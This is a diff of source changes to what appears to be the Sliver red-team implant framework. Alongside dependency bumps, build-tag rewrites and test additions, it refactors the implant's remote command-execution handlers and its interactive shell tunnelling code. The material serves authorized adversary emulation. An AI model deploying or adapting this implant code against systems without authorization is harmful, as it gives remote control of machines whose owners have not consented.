// }
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -19,6 +19,7 @@ package transport
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTimeout(defaultTimeout),
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
RootCAs: caCertPool,
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
},
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.0"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
+16
-1
@@ -32,7 +32,6 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
@@ -83,6 +82,22 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
|
||||
@@ -35,6 +35,7 @@ require (
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/spf13/cobra v1.1.1
|
||||
@@ -53,7 +54,7 @@ require (
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.20.6
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
@@ -63,6 +64,7 @@ require (
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
|
||||
@@ -83,7 +85,7 @@ require (
|
||||
github.com/jackc/pgtype v1.5.0 // indirect
|
||||
github.com/jackc/pgx/v4 v4.9.0 // indirect
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.1 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
|
||||
@@ -64,6 +64,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
|
||||
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
|
||||
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
|
||||
@@ -276,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
|
||||
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
|
||||
@@ -372,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
|
||||
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
|
||||
@@ -697,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
+1
-7
@@ -8,12 +8,6 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
|
||||
The implant code contains a lot of platform specific code too, which varies the features
|
||||
that will be supported on different platforms.
|
||||
|
||||
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
|
||||
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
|
||||
valid Go compiler target but only contains very generic commands/features.
|
||||
|
||||
|
||||
### Adding Implant Features
|
||||
|
||||
Simply adding new files to this directory will not work (but you can edit existing files).
|
||||
In order to add new features you'll need to add the code to this directory AND update the
|
||||
`server/generate/srcfiles.go` which contains a list of files the server should render.
|
||||
+2
-2
@@ -14,5 +14,5 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
)
|
||||
github.com/pquerna/otp v1.3.0
|
||||
)
|
||||
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
|
||||
return nonce, EncoderMap[encoderID]
|
||||
}
|
||||
|
||||
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
|
||||
func RandomTxtEncoder() (int, Encoder) {
|
||||
textEncoders := map[int]Encoder{
|
||||
EnglishEncoderID: English{},
|
||||
Base64EncoderID: Base64{},
|
||||
}
|
||||
keys := make([]int, 0, len(textEncoders))
|
||||
for k := range textEncoders {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
encoderID := keys[insecureRand.Intn(len(keys))]
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
return nonce, textEncoders[encoderID]
|
||||
}
|
||||
|
||||
// NopNonce - A NOP nonce identifies a request with no encoder/payload
|
||||
// any value where mod = 0
|
||||
func NopNonce() int {
|
||||
|
||||
@@ -20,6 +20,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bufio"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"errors"
|
||||
@@ -127,7 +128,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
dir, _ := filepath.Abs(target)
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
return dir, files, err
|
||||
@@ -140,7 +147,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
err := proto.Unmarshal(data, rmReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
log.Printf("error decoding message: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
@@ -362,7 +369,11 @@ func uploadHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -377,9 +388,43 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -391,7 +436,17 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -19,7 +19,11 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -224,7 +228,11 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
err error
|
||||
stdErr io.Writer
|
||||
stdOut io.Writer
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
@@ -244,9 +252,43 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
res, err := cmd.CombinedOutput()
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
stdOut = stdOutBuff
|
||||
if execReq.Stderr != "" {
|
||||
stdErrFile, err := os.Create(execReq.Stderr)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdErrFile.Close()
|
||||
errWriter = bufio.NewWriter(stdErrFile)
|
||||
stdErr = io.MultiWriter(errWriter, stdErrBuff)
|
||||
}
|
||||
if execReq.Stdout != "" {
|
||||
stdOutFile, err := os.Create(execReq.Stdout)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
defer stdOutFile.Close()
|
||||
outWriter = bufio.NewWriter(stdOutFile)
|
||||
stdOut = io.MultiWriter(outWriter, stdOutBuff)
|
||||
}
|
||||
cmd.Stdout = stdOut
|
||||
cmd.Stderr = stdErr
|
||||
err := cmd.Run()
|
||||
//{{if .Config.Debug}}
|
||||
log.Println(string(res))
|
||||
log.Println(string(stdOutBuff.String()))
|
||||
//{{end}}
|
||||
if err != nil {
|
||||
// Exit errors are not a failure of the RPC, but of the command.
|
||||
@@ -258,7 +300,14 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
}
|
||||
execResp.Result = string(res)
|
||||
if errWriter != nil {
|
||||
errWriter.Flush()
|
||||
}
|
||||
if outWriter != nil {
|
||||
outWriter.Flush()
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.String()
|
||||
execResp.Stdout = stdOutBuff.String()
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows linux darwin
|
||||
//go:build linux || darwin || windows
|
||||
|
||||
package handlers
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !darwin !windows !linux
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package limits
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !(linux || darwin || windows)
|
||||
|
||||
package proxy
|
||||
|
||||
// Copyright 2018, Rapid7, Inc.
|
||||
// License: BSD-3-clause
|
||||
@@ -13,8 +15,6 @@
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
@@ -0,0 +1,115 @@
|
||||
//go:build darwin || linux || freebsd || openbsd || dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os/exec"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
)
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
if enablePty {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdin pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] stdout pipe failed\n")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
term, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[term] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: term,
|
||||
Stdin: term,
|
||||
}
|
||||
}
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
}
|
||||
@@ -20,30 +20,8 @@ package shell
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
"runtime"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"golang.org/x/sys/windows"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
const (
|
||||
readBufSize = 1024
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
@@ -54,89 +32,12 @@ type Shell struct {
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
if enablePty && runtime.GOOS != "windows" {
|
||||
return ptyShell(tunnelID, command)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
//{{if eq .Config.GOOS "windows"}}
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
HideWindow: true,
|
||||
}
|
||||
//{{end}}
|
||||
|
||||
stdin, _ := cmd.StdinPipe()
|
||||
stdout, _ := cmd.StdoutPipe()
|
||||
// cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: stdout,
|
||||
Stdin: stdin,
|
||||
}
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
s.Command.Wait()
|
||||
}
|
||||
|
||||
// {{if ne .Config.GOOS "windows"}}
|
||||
func ptyShell(tunnelID uint64, command []string) *Shell {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
ptmx, err := pty.Start(cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[ptmx] %v, falling back to piped shell...", err)
|
||||
// {{end}}
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
cmd.Start()
|
||||
|
||||
return &Shell{
|
||||
ID: tunnelID,
|
||||
Command: cmd,
|
||||
Stdout: ptmx,
|
||||
Stdin: ptmx,
|
||||
}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
func exists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
if err == nil {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// +build !windows !linux !darwin
|
||||
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
|
||||
|
||||
package shell
|
||||
|
||||
/*
|
||||
@@ -20,11 +21,11 @@ package shell
|
||||
*/
|
||||
|
||||
import (
|
||||
"io"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"os"
|
||||
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
@@ -34,14 +35,6 @@ var (
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// Shell - Struct to hold shell related data
|
||||
type Shell struct {
|
||||
ID uint64
|
||||
Command *exec.Cmd
|
||||
Stdout io.ReadCloser
|
||||
Stdin io.WriteCloser
|
||||
}
|
||||
|
||||
// Start - Start a process
|
||||
func Start(command string) error {
|
||||
cmd := exec.Command(command)
|
||||
@@ -49,7 +42,7 @@ func Start(command string) error {
|
||||
}
|
||||
|
||||
// StartInteractive - Start a shell
|
||||
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
|
||||
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
|
||||
return pipedShell(tunnelID, command)
|
||||
}
|
||||
|
||||
@@ -58,9 +51,7 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
|
||||
log.Printf("[shell] %s", command)
|
||||
// {{end}}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
cmd = exec.Command(command[0], command[1:]...)
|
||||
|
||||
cmd := exec.Command(command[0], command[1:]...)
|
||||
stdin, err := cmd.StdinPipe()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -94,20 +85,3 @@ func GetSystemShellPath(path string) []string {
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
// StartAndWait starts a system shell then waits for it to complete
|
||||
func (s *Shell) StartAndWait() {
|
||||
s.Command.Start()
|
||||
